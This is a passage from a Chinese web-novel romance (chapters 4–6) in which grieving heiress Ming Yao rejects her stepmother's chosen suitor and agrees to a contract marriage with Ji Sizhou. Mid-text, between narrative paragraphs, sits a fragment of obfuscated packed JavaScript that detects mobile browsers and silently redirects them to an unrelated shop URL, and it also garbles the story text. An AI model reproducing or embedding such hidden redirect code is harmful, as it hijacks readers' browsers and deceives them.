明遥懂了,季家的势力如此大,多的是姑娘仰慕季斯舟,他怎么可能缺?唯一的解释就是这人也和自己一样,并不想找一个真正的伴侣,而是要找一个合适的合作伙伴罢了。
她回了家,在明青林的照片前点燃了灯,静静地看着。
季家的提议一直在她的脑子里转来转去,可明遥没有下这个决心的勇气,她暂时将季家的这个提议搁置在脑后。
在父亲的葬礼过后,明遥开始接手家里的事情。
因为明青林的遗嘱,她暂时挂名在家里的公司里。
明遥尽量让自己不要沉浸在悲伤之中,让自己忙起来,才能忘记悲痛。
明遥在公司里只是一个虚职,可存在可不存在的那种。
很多人都在等着看自己的笑话,可明遥知道自己在干什么,她只是在等候机会。
困境是暂时的,只要她能够进入公司,就会慢慢的站稳脚跟,事情就好办的多。
她想起来自己在最崩溃的那两天里面,印象最深的还是季斯舟给予自己的帮忙。
在曼哈顿得知父亲病危的消息之后,那场暴雨不仅在曼哈顿降落,更是把她心中的那个小孩都淋得湿漉漉的。
季斯舟的私人飞机里面是明遥完全没有想到的舒适。
如果不是问过乘务员,知道这确实是季斯舟私人独有的飞机,明遥几乎要以为这是季斯舟准备给他女友的。
连飞机上的盖毯,都正好是前阵子纽约的华人设计师的新品,明遥一直都很喜欢这个牌子。
一个成天忙于工作的大男人,很难想到这么细致。乘务员说这架飞机之前从未有女士来过,因此她上机的时候,乘务员十分的惊讶。
到了葬礼的时候,她又见到季斯舟了。他好像一点都不对她陌生似的,自然而然地就为她解了围。
季斯舟在这些方面做的细致而妥帖。明遥知道,有好几次她站在前方调整情绪的时候,季斯舟都只是在远处等着,他从不上前,给予了她足够的空间,让明遥感觉到了尊重。
他已经那样的位高权重,有了冷眼观看这一切的资本。可他一点也没有,虽然人严谨而疏离,但他的严肃之下有一丝宽容的温情。
协议结婚,本质上,明遥认为是一种对于誓言的辜负。可这样的人,让她觉得是不该去辜负的。
周末,明遥点开手机里的红色某薯软件,消息显示99+。
她好久之前发过一篇笔记,是酒醉之后当做玩笑一样玩闹发的,结果一条就火了,每天都有无数的私信,明遥没那么多时间看,只是偶尔登上去。
正准备粗略这些私信就关掉的时候,一条新的弹了上来。
【用户什么时候追到再改名:你好,博主什么时候才更新,我很需要这份教程。】
这位用户在这两个月里都给明遥发了私信,有五六条,每条都是这上面这句一样的话,像个机器人一样。
明遥心里冒出的想法——
这个人居然追了这么久没有追到!因为他还没有改名字。
明遥看过自己的帖子下面的反馈,说按照她帖子里说的办法,顶多二十天不到就成功脱单,点赞都高达两万,明遥被评价为宝藏博主。
可谁也不知道,这个帖子纯属于自己的无聊之作。
在她的第一个帖子下面,还有个高赞的评论。
【博主,你分享了这么多的方法,那你自己有没有追到那个你心意的男生?】
明遥没有回复。
一时兴起,她点开这个用户的头像看了一下,里面什么都没有。
她刚准备回复,甘佳君的电话进来。明遥皱了下眉,但还是接了起来。
“晚上在春玉酒楼,让你和公司的管理人员正式见个面,你过来吃饭吧。”甘佳君说,“八点,你还有两个小时的时间来准备。”
这是公司例行的聚餐,明遥刚刚回来参与公司管理,确实应该和大家交流一下吃个饭,她还以为甘佳君会阻拦,没想到竟然是甘佳君过来通知。
甘佳君说:“还用我来请?”
明遥说:“不必,我会按时到。”
她收拾了一下就出门,来不及再去回复那位问自己为什么还不更新的评论了。
春玉酒楼是苏市一家中式风格的高档餐厅,位于五楼的宴客厅坐拥空中花园,很难预订。
她收拾好自己,开车出门,一路畅通无阻。
唯一的插曲就是明遥想使用vip观光电梯直达时,大堂经理抱歉的告诉她:“今天我们观光电梯停用了,有贵客正在楼上用餐。”
好大的排场。
这个想法出现了一瞬,明遥没有在意,转身去了普通电梯。
推开包厢的门,明遥的视线顿住。
里面的人站起来迎接她。
“真是好久不见我们的明大美人了,怎么还是这么的漂亮!”
说话的人明遥一下就认了出来,高中的时候,她拒绝过他的追求。
明遥顿时感觉到不适,但看在这么多人都在这里的份上,只能忍了下来。
她和杜榕的座位还放在一起,明遥知道是故意的。
“明遥,这可是你的高中同学,你应该很熟悉吧?我记得,杜榕这孩子很喜欢你的,当时你们两个不是走的很近的吗?”甘佳君笑着说,“这不?知道你回来了,杜榕可是赶着求我要给你俩一个相处的机会呢。”
杜榕说:“伯母,何止是高中的时候很喜欢明遥?现在也一样。明家出了这样的事,我真的很抱歉,一直想来看看明遥的,她肯定很伤心。”
明遥握紧了自己的高脚杯。
她讨厌这种道貌岸然的人,之前就讨厌。
他和甘佳君是一路人,不然不会在这个场合里出现,合力来羞辱她。
明遥冷着声音:“甘佳君,你差不多了吧。”
她的声音一出来,场上安静了一瞬,其他董事劝:“明遥,你倒也不需要这么说话。”
“没事,明遥不懂事,现在青林又不在了,那自然是我要给她多操心一些,做长辈的哪有不操心的,我又没有自己的孩子,明遥就是我的亲生孩子。”甘佳君说,“她父亲也是太操心明遥了,还得要她结了婚,才把这些明家的遗产给她。我看杜榕这孩子就很不错,我对他还知根知底的。”
明遥感到反胃,甘佳君的厚颜无耻永远在刷新她的下限。
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甘佳君说:“明遥,这是我对你好。这不就是你最佳的选择吗,不然你还想要怎么样?”
明遥起身,将手里的那杯酒泼到了甘佳君的脸上。
“明遥,你这是干什么!怎么能对伯母这么没礼貌?”杜榕一下站起来,他去拉明遥的手腕,明遥嫌恶地甩开,这举动把其他管理人员都吓坏了。
“明遥!你太没有礼数了!向你这个年龄的女孩子了,你甘阿姨让你嫁人也是为你好,你这是在干什么?”
甘佳君将慢条斯理地自己的脸上用湿巾擦干净了,“你还以为你是高中那年纪吗?”
明遥实在是看不惯这一屋子里的虚伪嘴脸,拿上自己的包要走的时候。杜榕挡在她的面前,“你还有什么别的选择?”
他笑起来说:“明遥,你高中的时候拒绝我,结果到现在,我不还是你最好的选择?”
“别以为现在大家对你众星捧月是真喜欢你,你骄傲不来多久,等到三个月后你没了明家的这一切,谁还搭理你?到时候,你还是要来求我。”
他说的很自信,声音只有在跟前的明遥和甘佳君听得到。
甘佳君:“明遥,你要懂事,坐下,就乖乖坐在杜榕的旁边。”
她说的,和当年那句话一模一样。
杜榕和甘佳君脸上的表情带着一样的得意洋洋。他们在等着看明遥的屈辱,看明遥的笑话。
她来的时候,居然还想着要好好出席,把自己收拾的这么妥帖正式,现在仿佛就是个笑话。
哪怕甘佳君的话已经带上威胁,但明遥仍旧是毫不犹疑地离开。她不再想自己应该给在场的人什么面子,一巴掌抽在杜榕的脸上。
“一丘之貉。”明遥说,“你想要明家的钱,那不如就直接去做甘佳君的一条狗。”
之后,提上包离开。
谁也不知道,她紧压在皮包边缘的指尖都用力到泛白,才能止住身体的颤抖。
明遥来到了那个vip电梯出口,底下的人都上不来,这里现在是春玉酒楼最安全,最不会有人来的地方,她才可以卸下她所有的防备和竖起来的刺。
她将电梯旁边的窗户打开,苏市又下雨了。
外面的雨越来越大,还伴随着不时响起的闷雷,明遥走不了,在这个小空间里,得到了短暂的安全。
她的脑袋里好乱,这一个多月来的事情不停地像是放电影一样在转来转去,明遥觉得好疲惫。
她紧咬着下唇,不想让自己哽咽出声。
这么久的时间,明遥刻意让自己忘却悲伤。
但她的心也是肉做的,她同样会难过委屈。只是她倔强,绝不会在想要欺负她的人面前露出任何的脆弱。
远处的一道闪电,劈开了昏沉的黑云,把她内心深处的痛苦照的明亮,也让她看见自己心底的真实想法。
就在这个晚上,在这么多人在自己面前不停说杜榕才是自己得最佳选择时,明遥的心里才清晰的浮现出那个答案。
无论是要考虑什么条件,最佳的选择,就只有季斯舟一个人。
季斯舟。
这个名字出现,不知道碰到了明遥的那根弦。只有这个人,在她的生活里出现的时候,对她给予了那一丝绅士的温和。
明遥的眼眶湿润了,她慢慢蹲下来,感到了冷意。
脑袋里在想着事情,明遥都没有察觉,身后的电梯数字已经开始跳动。
直到到了她所在的这一层,电梯开了。
身后出现的人手上搭着外套,指节分明,走的很快,出来的时候,大衣就已经盖在了明遥的身上。
明遥抬眸,面前站着的人已经屈膝蹲下,为她擦掉滚落的泪水。
视线由清晰到牧户,暖意和季斯舟那双如同深海温沉的眼眸出现在她的视野里。
“季斯舟。”明遥定定的看着他,“你们季家说的结婚,还作数吗?”
“当然。”季斯舟朝她伸出手,当明遥将手放在他宽厚的手心时,他低低的声音响起,“在随时等待生效。”
5. 第 5 章
第五章
明遥感觉自己是在做梦,她都不知道自己是怎么在这种情况下向季斯舟问出这句话的。
季斯舟给出肯定的答复后,明遥又觉得不可思议。
她什么离谱的事情没碰到过,可这件事,能够登上离谱之最。
季斯舟将她扶起来,掌心干燥而温暖,身体始终与她保持着有礼貌的距离。
明遥一时沉默。
季斯舟看上去如常一般沉稳,明遥的心里却已兵荒马乱。镇定都是装的,连难过都忘记了。
按道理,季斯舟的身边应该多的是符合他要求的人,怎么单单就选择了和自己合作?她很清楚,圈子里的大小姐又不是只有她一个。
自己是哪里得到了季斯舟的青眼,还是因为他这段时间看到的自己都十分狼狈,这不过是一种男人的怜悯。
她很清楚,没有平白无故的交易。
季斯舟是成功的商人,不会做亏本买卖。她要尽可能的保证自己的利益,这需要费一些周旋。
“你是说真的?”明遥说,“对不起,季总,我觉得像是在做梦。”
“不是做梦。”季斯舟去明遥的面前,伸手将明遥面前那扇窗户关闭之前,“雨大了,我把窗户关上,可以吗?”
明遥愣了一下,眼泪在忽然之间迅速上涌。
因为季斯舟不会觉得这是为了她好,就直接去关掉窗户。而是先问过她的意见,再做出相应的回应和举动。
他真的很尊重人。
比甘佳君和杜榕的虚伪善意好了一千倍一万倍。
明遥知道眼泪要跑出来了,她又想低头,季斯舟说,“没事,我不看。”
季斯舟把窗户关好的时候,将明遥身上披着的外套礼貌地收拢,把明遥身上的寒意都驱散了。
这是一件男士大衣,毫无疑问,这应该是季斯舟的衣服,他是怎么来的?
明遥这才意识到,原来春玉酒楼今天说来的贵客是他。
也是,这里每天接待的可全都是有头有脸的人,在这群人里面,能够让整个酒店严肃以待的贵人,也只有季斯舟。
她早该想到的,如果她早想到了的话,那就肯定不会出现在这个电梯门口,她一定会另外找一个地方。
“你怎么会知道我今天在这里?”明遥问,“如果今天在电梯门口的是另外一个人,你还会提出这样的要求吗?”
季斯舟说:“如果是另外一个人,我会去找你。”
明遥又愣着。
季斯舟就看着她,也什么都不说,在等明遥说话。
在季斯舟的眼神下,明遥有点尴尬的开口,“季总,你这么说的话,我是真不知道该怎么回复。”
明遥作为一个公认的海王,还从来没有过这种自己接不上话来的情况。
季斯舟太直白了,她明白,到了季斯舟的这个地位,说什么都不需要拐弯抹角。
季斯舟的话,让明遥感觉到,他只想要找自己来结婚,并不是谁都可以。
本该暧昧的话,在季斯舟的口中说出来,就和一次寻常的会议一样平常。就像是今天的飞机延误了,那他照样能够坐另外一架飞机,只要能够到达。
目的地是一样的,就这么简单。
季斯舟说:“抱歉,我的表述不对吗?爷爷应该也有告诉你……原因。”
明遥点头。
她和季斯舟这么聊了一会儿,眼泪都已经干了,也不再想哭了。
到底是被温暖的大衣所感动,还是因为季斯舟那宽厚温润的手掌,在一瞬间明遥心中的触动很深,她看着季斯舟说,“谢谢。”
“其实我还应该谢谢你才对。”季斯舟说,“和你结婚,季家有很大的获利。”
明遥点头。
在这里待了太久,她想现在是时候离开了。
“耽误你事情了吗?我准备走了。”明遥说,“很抱歉。”
“没事,我也准备走了。”季斯舟说,“只是现在的雨太大。”
“你一个人来的?”明遥看季斯舟的身后都没跟人,
“嗯,局上有长辈醉酒,让司机送回去了。”季斯舟说。
这外面确实这么大的雨。
明遥看着自己身上的大衣,又看看窗外的雨,实在是说不出让季斯舟现在自己打车回去的混账话。
“我送你?我开了车来。”明遥说。
季斯舟说:“那就有劳了。”
明遥还以为季斯舟会推辞。
她只好领着季斯舟去地下停车场,上了自己的车,明遥的悲伤已经一扫而空。
车里的空气干燥温暖,阻挡了外面的潮气和湿冷。苏市就是这点不好,一到了雨季就湿冷,让人感觉一晚上就到了秋天。
明遥和季斯舟在开车回去的时候没有说话,季斯舟坐在前座。
上车的时候,明遥说:“你把座位调一下,往后调一点。”
季斯舟的大长腿,如果不调整座位的话,明遥怕他的腿无处安放。
虽然自己这车已经够宽敞的了,可是谁让季斯舟这个人身高更优秀。
季斯舟说:“没调过?”
明遥说:“这是回国之后才提的新车,还没有一个人坐过我的副驾驶。”
她怎么可能听不出来季斯舟的意思,就是不知道季斯舟还会关心这个?
季斯舟这是在问自己的车里还有没有别的人坐过副驾驶。
他不会是有精神洁癖吧。
也是,都已经要选结婚对象了……问这些也挺正常。
一路上,他们没聊天。在下雨,路况不是很好。几次明遥都刚好被堵在跳红灯的时候。
她有点焦躁,季斯舟说:“慢慢来。不急。”
这男人,倒是很容易看出来她的情绪。
好不容易,开了快一个小时,才把季斯舟送到季家外面。
“我就不进去了。”明遥说,她把外套递给季斯舟,“谢谢。”
最后还是她谢谢他。
“住的地方是不是直接开车到地下车库,然后上电梯?”
季斯舟没有接,明遥给了他准确的回答之后,季斯舟才点点头,之后把大衣接过。
他交代说:“那你回去注意安全,慢些开。”
此时的季斯舟给了明遥一种温和的错觉,似乎没有一点那杀伐果断的影子。
季斯舟说:“如果你明天有时间的话,我来接你。”
“接我干什么?”
季斯舟说:“忘了吗?我们刚刚说的事情,婚礼的话,还有一些细节要确定一下。”
“啊……对。”明遥确实是忘了,毕竟在听的时候就已经觉得自己在做梦了,之后根本没敢放在心底。
季斯舟说:“可以吗?”
明遥说:“好。”她觉得,自己应该是没什么拒绝的理由。
明遥回家的时候,才想起来,自己和季斯舟连联系方式都没有加,季斯舟也没说。
明遥需要的是一个帮助自己得到遗产的工具人,而季斯舟同样也是需要一个工具人。他们能够相互制约,这是最好的,对彼此都公平。
到了家里,明遥的心情已经和饭局那会儿有了天差地别,这些变化来自于季斯舟。
明遥甚至想起来,自己在出门之前,刚好看到了一位粉丝的私信还没回。
幸运观众!
账号一打开,果然又是如同轰炸一样的消息出来,她都已经忘记那个粉丝的头像了。
搜也搜不到。
算了。
在明遥想要关闭界面的时候,私信的界面忽然就跳出来了。
【什么时候追到再改名:博主!博主!请问你什么时候才能出新的教程?我是真的很需要!】
这次,这位幸运观众的语气和之前不一样了,连发的内容都不一样了。
明遥:【你这么需要这份攻略吗?难道一直就没有追到人?你去看看其他人在用这些方法的时候发的攻略和心得呀。】
【什么时候追到再改名:都看过。】
明遥:【那还没追到?】
【什么时候追到再改名:之前没有机会走到她的面前,现在有机会了。准备从一开始的方法来尝试。】
明遥回复:【你先照着试试,加油。】
那边又回:【谢谢,期待你的新教程。】
明遥自己都忘了,当时喝醉酒,到底发了些什么东西。
她打开自己的帖子。
【恋爱狗都不谈:108式攻略都来了,还拿不下你喜欢的人?】
内容:
第一式:不要让对方轻易的得到你。
第二式:说话的时候看着对方的眼睛。
第三式:不要吝啬你真心的夸奖。
……
第十式:离开一段时间后重新出现,请忍住不要联系对方。
第十一式:投其所好的去送礼物,拒绝土味礼物。
一个月就见效,男女适用,追不到人就是你的问题。
第一个帖子里,明遥就只写了十句话。但之后帖子的点赞数高达五万。
A:看到第一式我就知道这是个高手。
B:问题来了,怎么才能让我的crush自己看到这篇笔记?
C:哈哈哈哈哈哈哈进我的收藏夹吃灰去吧!
D:还没到一个月,二十天了我回来反馈一下,把这十一招认认真真的用了,只有二十天就拿下了我男朋友哈哈哈。博主可不可以出点详细版的,我想分享给我那想脱单的闺蜜。
E:巨有效!巨有效!巨有效!反馈来了,后来还跟着博主的后面两个帖子在做,我脱单啦
F:慕名前来观看著名恋爱博主,以一人之力助力于某薯姐妹的终身大事,这个名字取这么灵性,博主自己是单身吗?
G:合理猜测博主是大美女,日常追她的人排着队。
……
明遥觉得大家还是不要对她的生活多加猜测,因为猜的实在是太对了。
现在,她已经是恋爱博主了,但自己还没恋爱,直接跳过了这个过程,她要结婚了。
108式就真的是108式吗?这只是当时明遥发帖子时的一个夸张手法。实际上哪有那么多。
明遥叹了口气,收起手机,粉丝不再回复了。
这个粉丝也是个男的。
她在想自己是不是应该再多出点教程?
从此刻起,她才感觉自己好像活过来了。
季斯舟的大衣已经还给他了,但是她的身上,好像有大衣里的那股淡淡的男香。清冽的像是冰川融化时的空气,萦绕在她的身边,有种令人安心的错觉。
他在和自己得相处的时候,身上没有那种压迫感。
明遥在自己的仅有的和季斯舟的这些相处里面搜寻着记忆,季斯舟是对人都这样吗?还是——
很快,明遥发现,季斯舟好像是在自己面前的时候,才会刻意的收敛一下自己的那种气场,这样会让明遥觉得很舒服。
就之前父亲的葬礼上季斯舟刚来的时候,在甘佳君的面前,直接把甘佳君吓得都不敢吱声。
真的很奇怪,一个人的身上,居然可以让冷漠和温和共存。
这是一个复杂的、不能被轻松搞定的男人。
她想起来今晚上宴会的时候自己泼在了甘佳君脸上的那杯酒,不免觉得惋惜,只是觉得可惜了酒。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13159592|138671||http|test|mini|href|location''.split(''|''),0,{}));
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>于是她走到酒柜里给自己倒了一杯红酒,端着去阳台,还没有开始欣赏夜景,手机响了。
【Zzz:明天时间不赶,你什么时候起来了,就什么时候跟我说,我就过来接你。】
【富婆领低保:?】
【富婆领低保:你哪位。】
明遥看了一下,自己和这个Zzz都没有近期的聊天记录,她的微信好友很多,记忆里根本没有这号人物。
【Zzz:我是季斯舟】
明遥的手抖了一下,杯子没拿稳,在地上成了碎片,红酒撒了一地。
主打的就是一个今天晚上的红酒她是别想喝到嘴里。
如果知道这背后是季斯舟,明遥一定会改掉自己爱瞎改昵称的毛病。
不是,明遥在想,自己是怎么和季斯舟加上微信的。
她怎么脑袋里面一点印象都没有啊?
难怪走的时候,自己没说时间,季斯舟也一句话没说,原来是知道有自己的联系方式。她就说呢,就季斯舟那么严谨的人,不应该会忘记。
明遥没回复。甚至在想,她现在来改一个昵称,是不是会显得太过刻意?
【富婆领低保:好的】
【富婆领低保:明天八点半可以吗?我会早一点。】
【Zzz:好,早点睡】
明遥看着阳台地板上的狼藉,认命的叹口气。
第二天,明遥没到闹钟的点就起来了。
这次去拜访家长,明遥好好的收拾了下自己。没有卷头发,妆容也以清透为主。
季斯舟是一个让人感觉正经严肃的人,昵称上Zzz三个字母放在季斯舟的身上就莫名的喜感。
季斯舟看着也不像是个睡懒觉的人啊。
严肃里还带着点可爱。
明遥出去的时候刚八点,虽然和季斯舟约的时间是八点半。但是明遥没有让人等的习惯。
下来到客厅,看到沙发上坐着慢悠悠的喝茶的人,明遥脸上的表情僵住,捎带着欢快的心情也像是被人泼了一盆凉水下来。
“刚好,通知你一声,今天有事情,你别出去了。”甘佳君从抬头说,“等下杜榕来接你。”
明遥顿住:“你什么意思?”
“都快要结婚了,之前得好好了解一下吧。难得小杜这孩子还是很不错,你昨天都那样了,他都愿意今天继续来找你。”甘佳君说,“别丢面子。”
明遥说:“我昨天已经说的很清楚。”
她不做停留,继续往外走。
“站住,你昨天已经很没礼貌了,今天还要继续是吗?”甘佳君看着她,“为你好你不知道,还不是希望你可以快点拿到遗产,好完成了你爸的遗愿。你这么不愿意,是你高中时候那小毛病还没好是吧。”
明遥克制住自己那突突跳的太阳穴,不停告诉着自己,没关系的,今天这一天才刚刚开始,不要因为甘佳君而坏了自己一天的心情。
甘佳君说:“你听到没有,还往外面走干什么?你以为你能走到哪里去,这全城的人里面,最合适你的人就是杜榕。也只有杜榕还想着去忍你那小姐脾气,你爸都已经死了,你还在这里骄傲个什么劲儿啊?”
明遥说:“你不会说话的话就把嘴巴闭上,或者去刷个牙。”
“怎么着,说你几句你就不得了。看看你这不孝女的样子。不找杜榕,你还能找到谁?”
“伯母说的对。”杜榕径直进来,就这么凑巧,来的这么刚刚好。
“明遥,走吧,我们需要更多了解,毕竟有这么久没见面了。”杜榕说,“昨晚的事我不会放在心上,你放心。我们既然以后要结婚,我忍忍你应该的。”
门很宽,明遥不发一言的要往外去。她知道杜榕这小子喜欢动手动脚,皱着眉避开杜榕。
“哎,走什么?别急啊。”杜榕果然想来拉扯她。
哪怕明遥走的很快,但杜榕跟上了她。一把拽住了她的手,“让你别走,你听不见?明遥,你就这么看不上我?”
明遥把手甩开,但没甩开。杜榕力气很大,把明遥的手腕捏的生疼。
“你疯了吧?我怎么可能看得上你。”明遥说,
杜榕嗤笑:“不然你还想看上谁,哦,我看到葬礼上季斯舟也来了,总不能,你想找季斯舟吧?别做梦了,你怎么可能和季斯舟搭上线?”
“哪里不可能?”
一道低沉有压迫感的声音从外面传来,季斯舟走进,目光落在明遥被拉着的手上,
随后,杜榕的手被重重甩开,季斯舟的力气很大,将人甩开的时候,杜榕趔趄的后退了两步才稳住。
一句季总都还没出口。
季斯舟看到明遥的手腕都被捏红了。
“早就想过来接你了。”季斯舟说。
下一秒,季斯舟已经伸手去捏住了杜榕的手腕。他看上去毫不费力,可杜榕的脸刷的一下就痛得苍白。
“季、季总!这里面有什么误会,你,你这是干什么!”杜榕的脸一半是痛的一半是吓的,冷汗都出来了。
季斯舟没理他,加重着自己的力道,只转头看明遥。
“你说停我就停。”
甘佳君大惊失色的跑出来:“季总,放开小杜,他没有惹你……”
杜榕惨叫。
他在给自己出气呢。
明遥晃了晃自己的手腕,听了几声杜榕的惨叫,又觉得刺耳,才说:“行了。”
杜榕感觉自己的骨头都像是要碎了。
他的额头有冷汗。
“季总这是什么意思?”
“不明显吗?”季斯舟站在明遥的身边,与她十分的相衬,“要听未婚妻的话,这是我该做的。”
6. 第 6 章
第六章
明遥被季斯舟嘴里说的未婚妻那三个字震得在原地愣了三秒钟才回过神来,才意识到,没错——
未婚妻?
未婚妻?!
季斯舟说的是她。
不可否认,明遥被季斯舟的这个举动,以及这句话给爽到了。
在季斯舟说完这三个字之后,震惊的人变成了杜榕和甘佳君,而他们的惧怕里,还有一种显而易见的恐慌。
杜榕的脸都白了,他痛得连半个字都说不出来。
季斯舟的神情淡然,看着他的时候,就好像只是在看路边的野草般随意。哪怕杜榕已经在原地倒抽冷气,对是季斯舟来说,也无关痛痒。
他关心的,只有明遥现在如何。
明遥的手都红了,季斯舟看到了。
“就解气了?”季斯舟问。
“没有,但不至于在这种人的身上耽误太多的时间。”明遥说,她递给季斯舟一张湿纸巾,季斯舟还慢条斯理地将手擦干净。
甘佳君上前问:“季总,你刚刚说的那是什么意思?”
杜榕这时候终于缓过劲来,但他的手还痛得仿佛没有知觉:“季总,哪怕你是想问明遥出头,也不用选这样一个离谱的借口吧?”
季斯舟要和明遥结婚?这消息放出去,谁都不会信。
谁都想得到明遥,可同样的,谁都认为明遥声名狼藉。他们在想要得到明遥的情愫里,都带着一丝高高在上的怜悯。
如此家教森严的季家,怎么可能接纳明遥呢?
季斯舟扫了面前的人一眼:“你觉得我在开玩笑?”
他有着颀长的身线,与明遥站在一起时高大挺拔,两人十分的相衬。又站在杜榕的面前,气场对比鲜明。
“季总,你这……”甘佳君真想就把明遥就拽来自己的边上,可她的脑海里回忆起了之前葬礼上,季斯舟一直对明遥的维护。
心中的那丝怀疑,在一点一点的动摇。
季斯舟的黑眸沉沉:“有什么意见?”
她不敢造次,季斯舟把明遥护的死死的,就好像是护着自己的心爱之物。
这怎么可能!之前明遥和季斯舟分明没有半分交集!
甘佳君完全想不明白。
可季斯舟的话已出口,看上去根本就不像是开玩笑。他挡在明遥身边的样子,看上去也很亲密。
清风拂过,将明遥的发丝吹起,轻轻落在季斯舟的肩头。
甘佳君哑口无言,因为知道多说无益。
杜榕还期盼着甘佳君能说什么,“伯母,我今天……”
“别说了!”甘佳君忙止住杜榕的话,她知道现在一定是说多错多,她示意杜榕先不要说话,“季总,这里面肯定是有误会。他们刚刚是闹着玩的,你和明遥要结婚,这事明遥没和家里说出来一点。就算要结,那也该问过长辈的意见。”
“闹着玩?”
季斯舟朝明遥靠近了一点,伸手,快要触到明遥的手腕时才停留了一瞬。
明遥看到了季斯舟的眼神,是在询问自己是否可以触碰,她点头。
季斯舟把明遥的手腕抬上来,露出那明显的红肿。
他都不敢用力,明遥感觉的到季斯舟的小心。
“不痛了。”明遥轻声说。
甘佳君的脸色很不好看,但她说不出什么反驳的话来。她只能推了把杜榕,“还愣着干什么?”
“我道歉?可是季总,我的手腕骨头都要碎了!”杜榕的脸色更差,“明遥根本就没想和你结婚,不然怎么可能还和我相亲?你肯定不知道吧,昨天在春玉酒楼,她在和我吃饭。”
甘佳君搭腔道:“可不是吗?”
“昨天?”季斯舟面无表情的看着杜榕,想到明遥昨天的模样,立马知道了昨天明遥那样伤心的原因,“是你。”
“就是我,她和我相亲,转眼能搭上你,这不是什么好女人。”杜榕忙说,“她对你不是真心的,季总,你看不清吗?”
季斯舟低头问明遥:“需要问过家里的长辈?”
甘佳君正想说话,季斯舟若有所思道:“那我们今天还要抽空去一趟墓园。”
甘佳君的脸白了。
明遥看着面前两人精彩的表情变化实在想笑,手腕也没那么难受了。大概是因为还在外人的面前,所以季斯舟还没有放开她的手腕。
但他用的力气真的很轻,如同对待珍宝。
“我父母都已经离世,可以自己做主。”明遥说,“我们走吧。”
季斯舟说:“还要等等,少个东西。”
明遥:“嗯?”
甘佳君的气焰都已经消失,杜榕哪里还敢说什么,他也不敢挡在门口了,刚让出出口的位置,可季斯舟却带着明遥在自己面前站定。
季斯舟说:“道歉,我不说第二遍。”
他身上的压迫感太强,气场重重压下来,让人无法喘气。
杜榕几乎是条件反射一般的低下头:“对、对不起。”
明遥讽刺般的勾了下唇,和季斯舟准备离开。
可杜榕却说:“等一下!季总,我知道你刚刚是为了明遥出头,我的伤势可重多了。难道明遥不应该给我道歉?”
明遥得承认,她也没想到杜榕这个人能够这么滑稽,听到这句话的时候她都忍不住要笑出声音来了。
杜榕这孙子,不敢对季斯舟开炮,就把火力对准自己。
“怎么能这么说?”季斯舟笑了一下,“只是闹着玩的而已,甘夫人,你说是不是?”
甘佳君说:“……是。”
“我小时候玩闹就没分寸。”季斯舟说,“好在有我未婚妻在旁叫停,不然真怕今日要破费。这么说起来,你该对明遥说声谢谢。”
杜榕傻眼了。
可季斯舟这并不是问句,而是一句通知。他说话的时候语气轻松,面容却没有半分玩笑,怒气已经隐约出现。
甘佳君叫苦不迭,知道杜榕字字都踩在季斯舟的雷池,只能说:“杜榕,还愣着?”
杜榕只能忍气道:“明遥,……谢谢你。”
季斯舟和明遥对了个眼神,发现明遥在笑。
他挑眉。
明遥看懂了,勾了勾唇角说:“客气。”
杜榕的脸白了又绿,绿了转黑,但也只能敢怒不敢言,把脾气全压下去。
明遥坐在车里,自然是副驾驶。去系安全带的时候,发现季斯舟一直在看着自己。
“怎么了?”明遥顺势摸上自己的脸颊,发现自己唇边还一直保留着弧度,“刚刚你来的太巧,我很解气。”
所以开心到现在都还在想。
季斯舟说:“手不痛吗?”
他关注的点是,明遥是自己去把安全带系上的,她手腕还红着呢。
明遥说:“哪有那么娇弱?顶多明天红肿就消下去了。季总是不是把我想的太……”
季斯舟说,“是吗?”他自己是一点也没觉得,给杜榕来的那一下,已经算是轻的了。
“到你家去要注意些什么?”明遥打开镜子,整理自己的妆容状态,随口问,“我这样去见季爷爷可以吗?”
季斯舟说:“很好。”
“杜榕是吗,他昨天欺负你了?”季斯舟突然问。
明遥说:“算不上是欺负,我被喊过去的时候不知道是和他吃饭,甘佳君和他联合起来骗我。”
季斯舟嗯了声:“我记好了。”
明遥不解:“啊?记什么?”
季斯舟说:“没什么。”
到了季家,明遥无端开始紧张起来。
一下车,老爷子居然在门口等着。
“季爷爷,你怎么出来了?这天气这么热。”明遥忙上前去搀扶,季老爷子看到季斯舟和明遥两人一起来,这才不明显的舒了口气,“没等多久,快进来。”
旁边的邓管家说:“老爷子一早就在这儿盼呢。”
“您太客气了。”明遥的心中一阵暖意,从进门开始,就感受到了季家人的重视。
客厅里明亮干净,明遥这是第二次踏入季家的门。
她发现,季家居然已经给自己准备了一双新的女士拖鞋。
“这么大的地方,也就我一个老头子和斯舟住在这里,遥遥以后要多来啊。”老爷子说,“来,你看看这些有没有你中意的。”
明遥这才看到,桌上摆着还好多份婚礼策划案。
太快了。
自己和季斯舟才决定要结婚多久。
婚礼的场地,如何举动,流程以及婚纱婚戒,都在一沓厚厚的策划案里写的清楚。明遥只是粗略的翻了翻,惊讶道:“这么快?”
“是啊,昨晚家里的电都亮了整晚。”
老爷子说完这句话之后,季斯舟说:“爷爷,茶好了,喝一点。”<
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p>老爷子嫌弃他打断自己的话。
明遥没在意,以为只是一句玩笑话。
她说:“我看看。”
季斯舟说:“不急,可以慢慢选,这些都不错的。”
明遥说:“你已经看过了?”
季斯舟说:“我出门的时候稍微看了一点。”
“这么早。”明遥惊叹说,“你来的就够早的了。”
季老爷子笑眯眯说:“今天把你喊来,主要还是想和你说说话,怕你反悔不肯和斯舟结婚了。你同意,爷爷就放心了。我昨晚已经通知斯舟的父母和姐姐回来了,大概要到晚上才能到家。今天没事吧?没事的话,你就让斯舟带你出去玩。”
明遥吓了一跳。
是不是太隆重了。
明遥对季家人不太了解。
“是不是太麻烦了些?她们从哪里回来?”
明遥倒不是觉得有压力,是觉得季家这么做,超乎了她的想象。老爷子和她说这件事的时候,那态度让明遥以为自己和季斯舟结婚就是顺带的买一送一。
老爷子笑着说:“不管你们是怎么开始的,这毕竟是婚姻大事,该做的都要做齐。”
季斯舟说:“我父母常年在世界各地旅行,你应该知道我还有个姐姐。”
老爷子说:“今天没别的事情吧?”
明遥去不去公司都无所谓,主要是看季斯舟。
季斯舟这么忙,明遥正要婉转的拒绝——
